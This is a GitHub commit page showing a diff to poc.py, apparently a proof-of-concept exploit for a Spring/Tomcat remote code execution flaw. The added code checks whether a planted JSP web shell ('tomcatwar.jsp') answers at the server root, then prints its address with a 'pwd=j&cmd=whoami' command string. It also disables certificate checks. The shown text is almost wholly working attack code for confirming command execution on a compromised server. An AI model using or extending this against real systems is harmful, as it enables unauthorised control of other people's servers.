Skip to content

Commit 7a713b9

Browse files
Fix poc if shell saves to the root url
1 parent a7f1aa1 commit 7a713b9

File tree

1 file changed

+16
-3
lines changed

1 file changed

+16
-3
lines changed

poc.py

Lines changed: 16 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77

88
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
99

10-
from urllib.parse import urljoin
10+
from urllib.parse import urljoin,urlparse
1111
from threading import Thread
1212
from sys import exit
1313

@@ -45,9 +45,22 @@ def run(self):
4545
verify=False)
4646
if shellgo.status_code == 200:
4747
print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
48+
49+
## Depending on the server, the shell url may be in tomcats root folder
4850
else:
49-
print(f"\033[91m[" + '\u2718' + "]\033[0m", self.url,
50-
"\033[91mNot Vulnerable!\033[0m ")
51+
parsedurl = urlparse(shellurl)
52+
rooturl = parsedurl.scheme+"://"+parsedurl.netloc # There is 100% a better way to do this, please make a PR if you know!
53+
shellurlroot = urljoin(rooturl, 'tomcatwar.jsp')
54+
shellgoroot = requests.get(shellurlroot,
55+
timeout=15,
56+
allow_redirects=False,
57+
stream=True,
58+
verify=False)
59+
if shellgoroot.status_code == 200:
60+
print(f"Vulnerable,shell ip:{shellurlroot}?pwd=j&cmd=whoami")
61+
else:
62+
print(f"\033[91m[" + '\u2718' + "]\033[0m", self.url,
63+
"\033[91mNot Vulnerable!\033[0m ")
5164

5265
except Exception as e:
5366
print(e)

0 commit comments

Comments
 (0)